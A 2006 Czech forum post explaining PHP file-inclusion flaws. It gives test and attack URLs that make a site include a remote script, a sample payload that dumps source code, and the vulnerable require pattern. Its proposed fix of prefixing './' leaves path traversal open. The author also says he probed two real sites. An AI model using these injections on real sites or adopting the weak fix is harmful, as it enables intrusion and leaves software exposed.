Stránka 1 z 1

PHP INJEKCE nebezpečí pro vás

Napsal: úte říj 17, 2006 15:02
od mozek007
Úvodem

Toto je velmi základní chyba. Kdo má tuto chybu na svém webu, tak mu web "hackne" i 13ti letá holka. Takže proč nechávat útočníkům (lamkám co neumí nic lepšího než ničit) otevřené dveře? Oprava je velmi jednoduchá
Obsahuje můj web tu chybu?

Jestli-že struktura vašich stránek vypadá přibližně takto:
http://mozektevidi.ic.cz/index.php?clanek=php-injekce
je jistá pravděpodobnost, že web je napadnutelný. Pro zkoušku zkus:
http://mozektevidi.ic.cz/index.php?clan ... google.com.
Zobrazil se někde na stánce google? Tak pozor, chyba zde je!
Poznámka: Místo clanek může být cokoliv, např: show, view, go, jdi.., inspiraci se meze nekladou.
Jak takový web najít?

Když už někdo takový web hledá, hledá ho kvůli ničení. Proto zde nebude dávat text, co se má zadat do google.
Jaká je zneužitelnost?

Někdo si řekne:„Co tomu vadí, nějaký google na stránce, pche“. No ale co když adresa bude vypadat třeba takto:
http://mozektevidi.ic.cz/index.php?clan ... script.txt?
To už nastává pro webmastera docela problém. Tímto odkazem provede web cizí script, který může vypadat třeba takto:

Kód: Vybrat vše

<?
show_source("index.php");
?>
To už je docela blbé. Já sám jsem toho využil u pragueexclusive.com nebo u dasilvio.cz Neničil jsem, admina toho webu jsem upozornil
Obrana?

Obrana je jednoduchá. Prakticky jde o to, aby se před proměnou $data vložilo ./. V případě útoku typu
http://mozektevidi.ic.cz/index.php?clan ... /seznam.cz
se nevloží seznam.cz ale ./http://seznam.cz
Špatně

Kód: Vybrat vše

$data= $_REQUEST["g"];
require $data;
Snad dobře

Kód: Vybrat vše

$data= $_REQUEST["g"];
$data = "./". $data;
Závěrem?
Co dodat?
//edit Mark: kod davejte do code, je to pak přehlednější (aspoň myslím), nebo ne? ale code tu je na kod, tak to tak asi bude nejlepší
//edit: Mozek007: JJ, takle to vypadá, když si někdo splete tlačítko náhled s tlačítkem odeslat. A ještě jsem zrovna byl na rychlý lince, tak jsem ani nestačil ESC :-)